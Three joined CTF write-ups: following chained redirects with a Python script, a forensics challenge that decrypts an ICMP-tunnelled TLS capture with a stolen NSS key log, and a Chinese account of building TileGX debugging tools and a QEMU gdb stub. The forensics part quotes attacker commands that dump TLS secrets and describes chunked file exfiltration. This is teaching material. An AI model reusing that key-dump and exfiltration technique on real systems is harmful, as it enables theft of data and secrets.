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# Ad Network## DescriptionAd Network (Web, Baby, 50 pts)Author: Alexander Menshchikov (@n0str)We are so tired of advertising on the internet. It feels like it breaks the internet. Try to follow the ad, try to follow its rules.Adnetwork websiteThere is a flag 1337 redirects deep into the network..
## AttackUsing the description of the challenge, my team thought we had to follow 1337 redirects and that the content-length would also be 1337. I initially used Burp-suite to see what the response would be for the following query `http://cold.adnetwork-cybrics2021.ctf.su/adnetwork`. The response confirmed that is was indeed a 301 response and that it redirected to a url that looked similar to`http://cold.adnetwork-cybrics2021.ctf.su/discover-hour-able-eat/over-maybe-expect/start-usually-fall/test-beat-seek`.
## Python ScriptI created a quick python script to the follow redirects and after the 1336th request, print the header and the content of the response. I ran into issues with the request library throwing an error after following 30 redirects. As a result, I manually followed the redirects instead of allowing the requests library to handle it.```import requests
count=0resp = requests.get("http://adnetwork-cybrics2021.ctf.su/adnetwork",allow_redirects=False)while True: if count % 50 ==0: print(resp.headers['Location']) print(resp.status_code) if count ==1400: print("something went wrong") break if resp.headers['Content-Length'] != "1337" or count <1337: resp=requests.get(resp.headers['Location'],allow_redirects=False) count +=1 if count >=1337: print(count) print(resp.headers) print(resp.content) ``` Go to images/ad-network-flag.png to see the flag.
## After The ChallengeI saw a write-up which had a simpler python solution. It turns out that you can change the max amount of redirects that the request library will follow before throwing an error which would have simplified the above code.`requests.Session().max_redirects=xxxx` |
# Vault - IJCTF 2021
A robber broke into our vault in the middle of night. There's an indication that the robber tried to steal some items which are considered as confidential assets. Could you figure it out?
Flag format: `IJCTF{[a-f0-9]{32}}`
Author: `Avilia#1337`
Hint #1: "When the incident happened, the attacker got into our `IP over ICMP` tunnel network to access an `HTTP/2` web-server with `SSL` enabled."
Hint #2: "Even so, our captured logs aren't precise enough. Each packet has an unusual timestamp and it's kinda messy..."
[log.tar.xz](http://www.ijctf.tk/files/f98de00081d25c6c97d40ae157bb4338/log.tar.xz)
## Investigating the packet capture
We are provided with a `log.tar.xz` archive from the challenge description, which we can decompress using `xz` and `tar` as so:
`$ xz -d log.tar.xz`
`$ tar -xvf log.tar`
This should produce a `log.pcap` file.
Running `strings` against the `.pcap` file, we pipe the output to `sort` and `uniq` to only display unique entries, then `grep ......` to display only lines with length greater or equal to 6:
`$ strings log.pcap | sort | uniq | grep ......`
```...CLIENT_RANDOMCompressed: 202Extracting archive: flag.zipp7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,32 bits,1 CPU LE)&p/home/pi/projects/ctfpython3 download.py flag.zippython3 download.py pass.txtuid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),105(input),109(netdev),114(docker),116(lpadmin),997(gpio),998(i2c),999(spi)whoamixargs -n1 -a sslkeylogfile```
We see mentions of files `flag.zip`, `pass.txt`, `download.py`, and `sslkeylogfile`, as well as commands such as `id`, `python3` and `xargs` being run.
Opening the packet capture file `log.pcap` in Wireshark, we see a conversation between `192.168.1.30` and `192.168.1.205` through ICMP (ping), along with some fragmented IPv4 packets.
1. From the first hint, we know that the attacker used an IP over ICMP tunnel network to access an HTTP/2 web server with SSL.2. From the second hint, we also know that the capture logs were imprecise and the packet timestamps were unusual.
Looking at Wireshark, we notice some of the packets have negative time values. This should not be possible, packets cannot travel back in time before the capture started. Also, the frame numbers are all over the place and are not ordered correctly.
We can fix the packet ordering issue using the `reordercap` tool, which should come installed with Wireshark:
`$ reordercap log.pcap log_ordered.pcap`
If the reordering was successful, there should be 167 fragmented IPv4 packets with size of 1514 bytes in the newly created `log_ordered.pcap` file. With the ordering fixed, we can then start analysing the individual packets.
## Splicing the packet headers
Looking at one of the fragmented IPv4 packets, we see that there is a data segment with 1480 bytes of data:
At first, the data may look like random bytes. But, if we look carefully, we can see there is a malformed Ethernet header, followed by an IP header, and then a TCP header:
Searching for the bytes in the malformed Ethernet header `00 00 4a e3 f9 24 34 44 68 61 6e 73 07`, we were able to determine the specific application used to establish the ICMP tunnel, called "Hans" ([https://github.com/friedrich/hans](https://github.com/friedrich/hans/blob/master/src/worker.h)). This header is inserted by the Hans application. We can also see the `0x07` byte at the end, which is defined as `TYPE_DATA` in the source code under `src/worker.h`:
```cppenum Type{ TYPE_RESET_CONNECTION = 1, TYPE_CONNECTION_REQUEST = 2, TYPE_CHALLENGE = 3, TYPE_CHALLENGE_RESPONSE = 4, TYPE_CONNECTION_ACCEPT = 5, TYPE_CHALLENGE_ERROR = 6, TYPE_DATA = 7, TYPE_POLL = 8, TYPE_SERVER_FULL = 9};```
We know the TCP data inside of the ICMP data has to contain the TLS traffic which the attacker used to exfiltrate data, or the handshakes associated with them. If we can somehow restore the original TLS packets, then there is a possibility where we can extract the session keys and use them to decrypt the rest of the packets.
This can be achieved by transplanting the Ethernet header from the ICMP packet to the ICMP data segment, and removing the magic/type header inserted by Hans. In fact, we can simplify it to only one cut operation by removing the TCP header and the Hans header altogether.
Using the `editcap` tool and following the documentation [here](https://www.wireshark.org/docs/man-pages/editcap.html), we cut away 33 bytes (20 bytes from TCP header of ICMP + 13 bytes from Hans) starting from offset byte 15 (after 14 bytes from Ethernet header of ICMP) for each packet, then export the packets into a `log_chopped.pcap` file:
`$ editcap -C 15:33 log_ordered.pcap log_chopped.pcap`
Opening `log_chopped.pcap` file in Wireshark, we see the ICMP packets have now changed into either TCP or Socks packets, the source/destination address and ports have also changed. This is likely because the attacker used a Socks proxy when attacking our victim. To combat this and allow Wireshark to read the traffic properly as TLS, we can add an entry to the "Decode As" list under the "Analyze" tab, pointing port 1080 to TLS:
This basically tells Wireshark to treat all traffic on TCP port 1080 as TLS, and not as Socks.
## Extracting the TLS session keys
Earlier, when we did `strings` on the `log.pcap` file, we noticed that the attacker ran `xargs -n1 -a sslkeylogfile` on the victim's system, which would effectively print the contents of `sslkeylogfile` to the output stream. We should be able to follow this output as it is not protected by TLS, and recover the TLS session keys.
From the [Mozilla NSS key log documentations](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format), we know the `sslkeylogfile` follows a format of `<Label> <space> <ClientRandom> <space> <Secret>`. `ClientRandom` is encoded as 64 hexadecimal characters, and `Secret` is encoded as 96 hexadecimal characters (for TLS 1.0-2). For example, a key may look like this:
```CLIENT_RANDOM cf6b8752f4b47c9c28b07ba7da366f98afcc335931f08df83c30ebe2c7bcce32 a832cf19fa6b414fce74fa796b39d898c0825991547eebd20abe951ad2c586490d2703e4f596de3b6b4be417a2caa250```
In `log_chopped.pcap`, we use Wireshark's search feature to look for the string `CLIENT_RANDOM` in the packet bytes. Select any packet from the search result and follow the TCP stream by right-clicking on it then clicking `Follow -> TCP Stream`. This should open a new window showing the entire stream as ASCII:
From here, it is trivial to extract the contents of `sslkeylogfile`. We can simply copy all lines containing the session keys starting from `CLIENT_RANDOM` and paste them into a file named `sslkeylogfile.txt`.
Though, we're not done quite yet. Since the attacker used `xargs -n1` to display each argument into separate lines, the format of our keys is going to be incorrect. We need to replace the line characters `\n` between `ClientRandom` and `Secret` into space characters, and this can be done using `paste` as so:
`$ paste -d" " - - - < sslkeylogfile.txt > sslkeylogfile`
The `sslkeylogfile` should now contain 166 keys, as seen here:
`$ wc sslkeylogfile && md5sum sslkeylogfile`
```166 498 29216 sslkeylogfile9776acd3c0499be64e9653cb27f30720 sslkeylogfile```
With the session keys extracted, we can then decrypt the packets.
## Injecting secrets and decrypting TLS traffic
There are two ways we can approach the decryption:
1. Use Wireshark's built-in support for master secret log files for TLS under `Preferences -> Protocol -> TLS -> (Pre)-Master-Secret log filename`, select the `sslkeylogfile` we just extracted, and the packets will be automatically decrypted by Wireshark in the GUI.2. Use `editcap` to inject the secret to the `.pcap` file, as so:
`$ editcap --inject-secrets tls,sslkeylogfile log_chopped.pcap log_decrypted.pcap`
Either methods will allow us to read the contents of the packets, but the `editcap` approach will allow us to use command-line tools later to recover the files more easily. If you want to hand transcribe hexadecimals later on, then choose method 1. ;)
## Recovering flag.zip and pass.txt
Looking at the HTTP/2 packets in `log_decrypted.pcap` with filter `http2`, we see there are GET requests to `/files/flag.zip` and `/files/pass.txt`:
Alongside the `HEADERS` and `Magic` packets, we also see many `DATA` packets. Inspecting them further with Wireshark, we see that each of the `DATA` packet has a status of `206 Partial Content`, they each carry either 1 or 2 bytes of data depending on if the `Content-Type` header is `text/plain` or `application/zip`, and nearly all of them have an unusual header `Content-Range`.
In essence, what's happening here - is that the attacker is gradually sending either 1 or 2 bytes of data through HTTP/2. The bytes are ordered by the `Content-Range` header. For example, `bytes 22-23/202` would mean the data in the packet belongs in byte locations 22 to 23, out of 202 bytes. This implies, in order for us to recover the two files, we need to piece together the individual bytes of data from all of the `DATA` packets according to the `Content-Range` header.
It is possible to recover the files by hand transcribing the hexadecimals from all 166 packets (if you're up for the task). Fortunately, there is a tool that can help us with this. We can use `tshark`, which is a packet analysis tool much like Wireshark, but it is capable of quickly exporting the packets' range and data as columns in the command-line, allowing us to easily recover the bytes.
`$ tshark -r log_decrypted.pcap -Y "http2" -T fields -e http2.headers.range -e http2.data.data | xargs -n2 > bytes.txt`
Here, we first take `log_decrypted.pcap` as the input file (`-r`), using `http2` as the display filter (`-Y`), and printing the fields (`-T`) of `http2.headers.range` and `http2.data.data` (`-e`). We also pipe the output to `xargs -n2` to make each packet display neatly on one line instead of two, and finally output it to a `bytes.txt` file. The file should look something like this:
```bytes=53-53 31bytes=34-34 32bytes=27-27 39bytes=52-52 36bytes=55-55 66...```
We have the hexadecimal bytes of `flag.zip` and `pass.txt`, but the bytes are mixed together in one file and we want to separate them. To do this, we can pass it through a few more filters:
`$ cat bytes.txt | awk 'length($2)==2 {print $0}' | cut -d"=" -f2 | sort -n`
This reads the contents of `bytes.txt`, and prints the line if the byte column has a length of 2. Then removes the "bytes=" string before the range, and sorts the values numerically. The result should be the hexadecimal bytes of `pass.txt` in order of the range, and will look something like this:
```0-0 301-1 652-2 643-3 624-4 63...```
We can verify that no bytes are missing from the output, and that all bytes are in the correct order.
Now, we just have to remove the range column and we will get the password's hex:
`$ cat bytes.txt | awk 'length($2)==2 {print $0}' | cut -d"=" -f2 | sort -n | cut -d" " -f2 > pass.hex`
To convert it from hexadecimal to bytes, we can use `xxd`:
`$ xxd -r -p pass.hex > pass.txt`
Now repeat the process for `flag.zip`, but this time using `length($2)==4` instead. We can also skip the intermediate hex file as so:
`$ cat bytes.txt | awk 'length($2)==4 {print $0}' | cut -d"=" -f2 | sort -n | cut -d" " -f2 | xxd -r -p > flag.zip`
## Getting the flag
Now all that's left to do is decompress `flag.zip` using `pass.txt` and get the flag!
`$ unzip flag.zip`
```Archive: flag.zip[flag.zip] flag.txt password: 0edbca2531daefac9c5c84c016792713fd23681ea8bc1b3d088b617f75940313 extracting: flag.txt```
`$ cat flag.txt`
```IJCTF{aa51f2cc8eaf466a277da70db3a3c576}```
## Resources
1. friedrich/hans: IP over ICMP - [https://github.com/friedrich/hans](https://github.com/friedrich/hans)2. editcap - The Wireshark Network Analyzer 3.4.7 - [https://www.wireshark.org/docs/man-pages/editcap.html](https://www.wireshark.org/docs/man-pages/editcap.html)3. NSS Key Log Format - Mozilla | MDN - [https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format)4. Wireshark Tutorial: Decrypting HTTPS Traffic - [https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/](https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/)5. Decrypting TLS Streams With Wireshark: Part 1 - [https://blog.didierstevens.com/2020/12/14/decrypting-tls-streams-with-wireshark-part-1/](https://blog.didierstevens.com/2020/12/14/decrypting-tls-streams-with-wireshark-part-1/)6. tshark - The Wireshark Network Analyzer 3.4.7 - [https://www.wireshark.org/docs/man-pages/tshark.html](https://www.wireshark.org/docs/man-pages/tshark.html) |
# tile
> Tile-gx指令集的linux用户态程序，除了qemu-user可以运行这个程序以外，没有任何的辅助工具，并且该架构的`qemu-user`即`qemu-tilegx`没有实现`-g`的调试功能。所以其他工具（逆向、调试、编译shellcode）全部要自己找到或者搞定，做题时找到并且编译了这个架构的gdb客户端和交叉编译工具，以及对qemu源码魔改了一个此架构下能读写寄存器的gdb桩。运行发现，此程序的功能是以标准输入输出为接口的httpsevrer。有了查看寄存器的能力后，即对此程序瞎发包进行测试，最终在basic认证处发现了不确定是不是栈溢出的控制流劫持。因为是qemu-user，没有NX，还给了和远程环境一样的docker，故ret2shellcode即可。比赛时这题只有`More Smoked Leet Chicken`和我们`Redbud`做出来了，老外的解法更正统和出色。
- 题目: [https://ctftime.org/task/16420](https://ctftime.org/task/16420)- 附件: [tile.gz](https://xuanxuanblingbling.github.io/assets/attachment/tile/tile.gz)- WP: [tile by More Smoked Leet Chicken](https://ctftime.org/writeup/29125)
## 工具
因为给的docker环境是ubuntu20.04，所以最后的各种环境也都是在自己的20.04的虚拟机完成的。
### 模拟运行：qemu
题目没有很过分，至少给你运行起来了，分析dockerfile以及xinetd的配置文件：
```dockerfileFROM ubuntu:20.04
ARG DEBIAN_FRONTEND=noninteractiveENV TZ=Asia/Shanghai
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/ftp.sjtu.edu.cn/g" /etc/apt/sources.list && \ apt-get update && apt-get -y dist-upgrade && \ apt-get install -y xinetd qemu-user```
> ctf.xinetd
```service ctf{ disable = no socket_type = stream protocol = tcp wait = no user = ctf type = UNLISTED port = 9999 bind = 0.0.0.0 server = /usr/bin/qemu-tilegx # replace helloworld to your program server_args = -L /home/ctf/ /home/ctf/httpd /home/ctf/html banner_fail = /etc/banner_fail # safety options per_source = 10 # the maximum instances of this service per source IP address rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use #rlimit_as = 1024M # the Address Space resource limit for the service #access_times = 2:00-9:00 12:00-24:00}```
发现就是用的ubuntu20.04下的apt安装的qemu：
> [https://blueprints.launchpad.net/ubuntu/+source/qemu/1:4.2-3ubuntu6.17](https://blueprints.launchpad.net/ubuntu/+source/qemu/1:4.2-3ubuntu6.17)
于是在本地的虚拟机中也尝试安装：
```c➜ uname -aLinux ubuntu 5.8.0-59-generic #66~20.04.1-Ubuntu SMP Thu Jun 17 11:14:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux➜ qemu-tilegx --versionqemu-tilegx version 4.2.1 (Debian 1:4.2-3ubuntu6.16)Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers```
后来因为发现这里的qemu-user的`-g`调试不好使，于是便怀疑是不是版本低，尝试在ubuntu21.04中安装qemu，结果发现这个指令集在新版本中不支持了：[https://wiki.qemu.org/ChangeLog/6.0#TileGX](https://wiki.qemu.org/ChangeLog/6.0#TileGX)。
### 逆向工具：ida
可以运行了，于是我们接下来静态的分析程序逻辑，不过发现IDA和ghidra均不支持此架构，网上搜索到IDA的插件：
- [https://blog.talosintelligence.com/2019/10/new-ida-pro-plugin-provides-tilegx.html](https://blog.talosintelligence.com/2019/10/new-ida-pro-plugin-provides-tilegx.html)- [https://github.com/Cisco-Talos/ida_tilegx](https://github.com/Cisco-Talos/ida_tilegx)
其中readme写到：
```cThe build process has been tested with IDA Pro 7.3 on Linux (Ubuntu 18.04).
to build and install the plugin. Currently only the Linux makefile is working, building on Windows or MacOS is not supported.```
需要linux平台的IDA7.3，没有，放弃。所以逆向的希望也只能靠找到交叉编译工具链然后objdump来看了，赛后发现做出本题的老外也是没有linux的IDA，然后人家是用objdump然后手动逆向的：
- [https://github.com/mephi42/ctf/blob/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp](https://github.com/mephi42/ctf/blob/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp)
虽然用不了这个插件，但是这个插件的代码也是不错的学习资料，在后文我们会再次见到他。
### 编译工具链：gcc
所以继续来找交叉编译工具链，本地编译许久未果，尝试buildroot发现其中也并不包含此架构，查找到一些这个架构的文章：
- [Tilera平台使用体会](https://webcache.googleusercontent.com/search?q=cache:twibk8dzvO4J:https://www.cnblogs.com/xyjdreamer/p/6095555.html+&cd=77&hl=zh-CN&ct=clnk&gl=jp)- [TILE-Gx72 Processor](https://www.mellanox.com/related-docs/prod_multi_core/PB_TILE-Gx72.pdf)- [从ChimayRed漏洞看不同架构下的栈溢出利用实践](https://mp.weixin.qq.com/s/q1zHgQ864u4t9QlzSIzoZw)
网上到了编译好的二进制：
- [http://kernel.c3sl.ufpr.br/pub/tools/crosstool/](http://kernel.c3sl.ufpr.br/pub/tools/crosstool/)- [http://kernel.c3sl.ufpr.br/pub/tools/crosstool/files/bin/x86_64/7.3.0/x86_64-gcc-7.3.0-nolibc_tilegx-linux.tar.gz](http://kernel.c3sl.ufpr.br/pub/tools/crosstool/files/bin/x86_64/7.3.0/x86_64-gcc-7.3.0-nolibc_tilegx-linux.tar.gz)
另外还发现了：
- [https://github.com/tnishinaga/aur_tilegx_toolchain/blob/master/tilegx-linux-gnu-gcc/PKGBUILD](https://github.com/tnishinaga/aur_tilegx_toolchain/blob/master/tilegx-linux-gnu-gcc/PKGBUILD)- [http://ftp.us2.freshrpms.net/linux/RPM/mageia/6/x86_64/media/core/release/gcc-tile-linux-gnu-6.0.0-0.2.mga6.x86_64.html](http://ftp.us2.freshrpms.net/linux/RPM/mageia/6/x86_64/media/core/release/gcc-tile-linux-gnu-6.0.0-0.2.mga6.x86_64.html)
一个是archlinux，一个是centos，这俩系统上应该直接就有编译好的tilegx的交叉编译工具，所以腾讯云换个centos的镜像，然后直接yum安装即可：
```python[root@VM-8-11-centos ~]$ cat /etc/redhat-releaseCentOS Linux release 7.9.2009 (Core)
[root@VM-8-11-centos ~]$ yum updateCentOS Linux release 7.9.2009 (Core)
[root@VM-8-11-centos ~]$ yum search tile gccLoaded plugins: fastestmirror, langpacksLoading mirror speeds from cached hostfile================================================================================================================================== N/S matched: tile, gcc ==================================================================================================================================gcc-c++-tile-linux-gnu.x86_64 : Cross-build binary utilities for tile-linux-gnugcc-tile-linux-gnu.x86_64 : Cross-build binary utilities for tile-linux-gnu
[root@VM-8-11-centos ~]$ yum install gcc-tile-linux-gnu.x86_64
[root@VM-8-11-centos ~]$ tile-linux-gnu-tile-linux-gnu-addr2line tile-linux-gnu-cpp tile-linux-gnu-gprof tile-linux-gnu-objcopy tile-linux-gnu-sizetile-linux-gnu-ar tile-linux-gnu-elfedit tile-linux-gnu-ld tile-linux-gnu-objdump tile-linux-gnu-stringstile-linux-gnu-as tile-linux-gnu-gcc tile-linux-gnu-ld.bfd tile-linux-gnu-ranlib tile-linux-gnu-striptile-linux-gnu-c++filt tile-linux-gnu-gcov tile-linux-gnu-nm tile-linux-gnu-readelf ```
不过无论是网上下载的包，还是centos上yum安装的，都是没有libc支持的gcc，可能自己编译的支持？不知道这题是咋出出来的。不过这影响并不大，因为写shellcode也不需要libc。
### 调试客户端：gdb
在各种ubuntu版本下安装了gdb-multiarch，发现都没有这个架构，不过发现gdb还是支持这个架构的，所以得自己编译了，编译的方式参考：[IoT安全研究视角的交叉编译](https://xuanxuanblingbling.github.io/ctf/tools/2021/02/16/cross/)
首先需要安装个编译过程需要的依赖`texinfo`：
```➜ sudo apt-get install texinfo```
然后这里我采用了gdb10进行编译，`--target=tilegx-linux`这个选项是看bfd文件夹下看的，具体之前的文章里也有写：
```python➜ wget http://ftp.gnu.org/gnu/gdb/gdb-10.2.tar.gz➜ tar -xvzf ./gdb-10.2.tar.gz➜ cd gdb-10.2/➜ mkdir build➜ cd build➜ ../configure --target=tilegx-linux --prefix=/home/xuanxuan/Desktop/tilegdb➜ make -j 4 && make install```
编译完之后，就可以在`--prefix`制定目录下的bin目录看到编译好的gdb二进制程序：
```python➜ pwd/home/xuanxuan/Desktop/tilegdb/bin➜ lstilegx-linux-gdb tilegx-linux-gdb-add-index➜ ./tilegx-linux-gdb -q(gdb) set architecture auto tilegx tilegx32 (gdb) set architecture tilegxThe target architecture is set to "tilegx".(gdb) set endian little The target is set to little endian.(gdb) ```
### 调试服务端：qemu
gdb也编好了，但是调试一直不成功，甚至还对gdb远程的协议进行了抓包分析，后来经队友提醒发现，这个架构的qemu没有实现gdb桩：
- [https://github.com/qemu/qemu/tree/v5.2.0/target/tilegx](https://github.com/qemu/qemu/tree/v5.2.0/target/tilegx)- [https://github.com/qemu/qemu/tree/v5.2.0/target/mips](https://github.com/qemu/qemu/tree/v5.2.0/target/mips)- [https://github.com/qemu/qemu/tree/v5.2.0/target/rx](https://github.com/qemu/qemu/tree/v5.2.0/target/rx)
和抓包分析的结果一致，qemu就没有返回任何寄存器的数据，所以通过抄写其他架构的gdbstub.c以及学习本架构的代码，这里用的是5.2.0的qemu：
```➜ wget https://download.qemu.org/qemu-5.2.0.tar.xz```
```cstatic const char * const reg_names[TILEGX_R_COUNT] = { "r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15", "r16", "r17", "r18", "r19", "r20", "r21", "r22", "r23", "r24", "r25", "r26", "r27", "r28", "r29", "r30", "r31", "r32", "r33", "r34", "r35", "r36", "r37", "r38", "r39", "r40", "r41", "r42", "r43", "r44", "r45", "r46", "r47", "r48", "r49", "r50", "r51", "bp", "tp", "sp", "lr"};
#define TILEGX_R_COUNT 56 /* Only 56 registers are really useful */
enum { TILEGX_SPR_CMPEXCH = 0, TILEGX_SPR_CRITICAL_SEC = 1, TILEGX_SPR_SIM_CONTROL = 2, TILEGX_SPR_EX_CONTEXT_0_0 = 3, TILEGX_SPR_EX_CONTEXT_0_1 = 4, TILEGX_SPR_COUNT};
typedef struct CPUTLGState { uint64_t regs[TILEGX_R_COUNT]; /* Common used registers by outside */ uint64_t spregs[TILEGX_SPR_COUNT]; /* Special used registers by outside */ uint64_t pc; /* Current pc */
static const char * const reg_names[64] = { "r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15", "r16", "r17", "r18", "r19", "r20", "r21", "r22", "r23", "r24", "r25", "r26", "r27", "r28", "r29", "r30", "r31", "r32", "r33", "r34", "r35", "r36", "r37", "r38", "r39", "r40", "r41", "r42", "r43", "r44", "r45", "r46", "r47", "r48", "r49", "r50", "r51", "bp", "tp", "sp", "lr", "sn", "idn0", "idn1", "udn0", "udn1", "udn2", "udn2", "zero"};```
通过以上的代码，大概能猜出来：
- 0-55: 常用寄存器- 56-63: 不常用寄存器- 64: pc
然后在不断修改代码调试的过程中发现，gdb还需要65号寄存器:
```(gdb) i rr0 0x0 0r1 0x0 0r2 0x0 0r3 0x0 0r4 0x0 0r5 0x0 0r6 0x0 0r7 0x0 0r8 0x0 0r9 0x0 0r10 0x0 0r11 0x0 0r12 0x0 0r13 0x0 0r14 0x0 0r15 0x0 0r16 0x0 0r17 0x0 0r18 0x0 0r19 0x0 0r20 0x0 0r21 0x0 0r22 0x0 0r23 0x0 0r24 0x0 0r25 0x0 0r26 0x0 0r27 0x0 0r28 0x0 0r29 0x0 0r30 0x0 0r31 0x0 0r32 0x0 0r33 0x0 0r34 0x0 0r35 0x0 0r36 0x0 0r37 0x0 0r38 0x0 0r39 0x0 0r40 0x0 0r41 0x0 0r42 0x0 0r43 0x0 0r44 0x0 0r45 0x0 0r46 0x0 0r47 0x0 0r48 0x0 0r49 0x0 0r50 0x0 0r51 0x0 0r52 0x0 0tp 0x0 0sp 0x400080f540 274886358336lr 0x0 0sn 0x0 0idn0 0x0 0idn1 0x0 0udn0 0x0 0udn1 0x0 0udn2 0x0 0udn3 0x0 0zero 0x0 0pc 0x4000839440 0x4000839440faultnum <unavailable>```
最终修改如下：
```patchdiff -uprN ./qemu-5.2.0/linux-user/tilegx/cpu_loop.c ./qemu-5.2.0_patch/linux-user/tilegx/cpu_loop.c--- ./qemu-5.2.0/linux-user/tilegx/cpu_loop.c 2020-12-09 00:59:44.000000000 +0800+++ ./qemu-5.2.0_patch/linux-user/tilegx/cpu_loop.c 2021-07-05 13:26:52.000000000 +0800@@ -266,6 +266,10 @@ void cpu_loop(CPUTLGState *env) case EXCP_ATOMIC: cpu_exec_step_atomic(cs); break;+ case EXCP_INTERRUPT:+ printf("[+] interrupt\n");+ /* just indicate that signals should be handled asap */+ break; default: fprintf(stderr, "trapnr is %d[0x%x].\n", trapnr, trapnr); g_assert_not_reached();diff -uprN ./qemu-5.2.0/target/tilegx/cpu.c ./qemu-5.2.0_patch/target/tilegx/cpu.c--- ./qemu-5.2.0/target/tilegx/cpu.c 2021-07-05 13:24:56.000000000 +0800+++ ./qemu-5.2.0_patch/target/tilegx/cpu.c 2021-07-05 13:28:48.000000000 +0800@@ -136,6 +136,7 @@ static bool tilegx_cpu_exec_interrupt(CP static void tilegx_cpu_class_init(ObjectClass *oc, void *data) {+ printf("[+]hello xuanxuan\n"); DeviceClass *dc = DEVICE_CLASS(oc); CPUClass *cc = CPU_CLASS(oc); TileGXCPUClass *tcc = TILEGX_CPU_CLASS(oc);@@ -152,7 +153,9 @@ static void tilegx_cpu_class_init(Object cc->dump_state = tilegx_cpu_dump_state; cc->set_pc = tilegx_cpu_set_pc; cc->tlb_fill = tilegx_cpu_tlb_fill;- cc->gdb_num_core_regs = 0;+ cc->gdb_read_register = tilegx_cpu_gdb_read_register;+ cc->gdb_write_register = tilegx_cpu_gdb_write_register;+ cc->gdb_num_core_regs = 66; cc->tcg_initialize = tilegx_tcg_init; } diff -uprN ./qemu-5.2.0/target/tilegx/cpu.h ./qemu-5.2.0_patch/target/tilegx/cpu.h--- ./qemu-5.2.0/target/tilegx/cpu.h 2020-12-09 00:59:44.000000000 +0800+++ ./qemu-5.2.0_patch/target/tilegx/cpu.h 2021-07-05 13:23:24.000000000 +0800@@ -144,6 +144,8 @@ typedef TileGXCPU ArchCPU; void tilegx_tcg_init(void); int cpu_tilegx_signal_handler(int host_signum, void *pinfo, void *puc);+int tilegx_cpu_gdb_read_register(CPUState *cpu, GByteArray *buf, int reg);+int tilegx_cpu_gdb_write_register(CPUState *cpu, GByteArray *buf, int reg); #define CPU_RESOLVING_TYPE TYPE_TILEGX_CPU diff -uprN ./qemu-5.2.0/target/tilegx/gdbstub.c ./qemu-5.2.0_patch/target/tilegx/gdbstub.c--- ./qemu-5.2.0/target/tilegx/gdbstub.c 1970-01-01 08:00:00.000000000 +0800+++ ./qemu-5.2.0_patch/target/tilegx/gdbstub.c 2021-07-04 03:40:31.000000000 +0800@@ -0,0 +1,44 @@+#include "qemu/osdep.h"+#include "cpu.h"+#include "exec/gdbstub.h"++int tilegx_cpu_gdb_read_register(CPUState *cs, GByteArray *mem_buf, int n)+{+ TileGXCPU *cpu = TILEGX_CPU(cs);+ CPUTLGState *env = &cpu->env;++ switch (n) {+ case 0 ... 55:+ return gdb_get_regl(mem_buf, env->regs[n]);+ case 56 ... 63:+ return gdb_get_regl(mem_buf, 0);+ case 64:+ return gdb_get_regl(mem_buf, env->pc);+ case 65:+ return gdb_get_regl(mem_buf, 0);+ }+ return 0;+}++int tilegx_cpu_gdb_write_register(CPUState *cs, GByteArray *mem_buf, int n)+{+ TileGXCPU *cpu = TILEGX_CPU(cs);+ CPUTLGState *env = &cpu->env;+ uint64_t tmp;++ tmp = ldq_p(mem_buf);++ switch (n) {+ case 0 ... 55:+ env->regs[n] = tmp;+ return 8;+ case 56 ... 63:+ return 8;+ case 64:+ env->pc = tmp;+ return 8;+ case 65:+ return 8;+ }+ return 0;+}\ No newline at end of filediff -uprN ./qemu-5.2.0/target/tilegx/meson.build ./qemu-5.2.0_patch/target/tilegx/meson.build--- ./qemu-5.2.0/target/tilegx/meson.build 2020-12-09 00:59:44.000000000 +0800+++ ./qemu-5.2.0_patch/target/tilegx/meson.build 2021-07-04 02:38:02.000000000 +0800@@ -3,6 +3,7 @@ tilegx_ss.add(files( 'cpu.c', 'helper.c', 'simd_helper.c',+ 'gdbstub.c', 'translate.c', )) tilegx_ss.add(zlib)```
按照如下方法打patch：
```c➜ lsdiff.patch qemu-5.2.0➜ patch -p0 < ./diff.patchpatching file ./qemu-5.2.0/linux-user/tilegx/cpu_loop.cpatching file ./qemu-5.2.0/target/tilegx/cpu.cpatching file ./qemu-5.2.0/target/tilegx/cpu.hpatching file ./qemu-5.2.0/target/tilegx/gdbstub.cpatching file ./qemu-5.2.0/target/tilegx/meson.build```
编译前首先按照官方文档安装依赖：[https://wiki.qemu.org/Hosts/Linux](https://wiki.qemu.org/Hosts/Linux)，然后编译：
```c➜ cd qemu-5.2.0/➜ mkdir build➜ cd build➜ ../configure --target-list=tilegx-linux-user➜ make -j 4```
编译好之后即可在当前目录看到`qemu-tilegx`：
```c➜ ls -al ./qemu-tilegx -rwxr-xr-x 1 501 dialout 15552024 Jul 21 07:32 ./qemu-tilegx```
我们给他改个名以便区分，然后测试一下调试功能：
```c➜ ./qemu-tilegx-xuan -g 1234 -L ./ ./httpd ./html[+]hello xuanxuan```
使用刚才编译的gdb进行连接，成功的看到寄存器的状态：
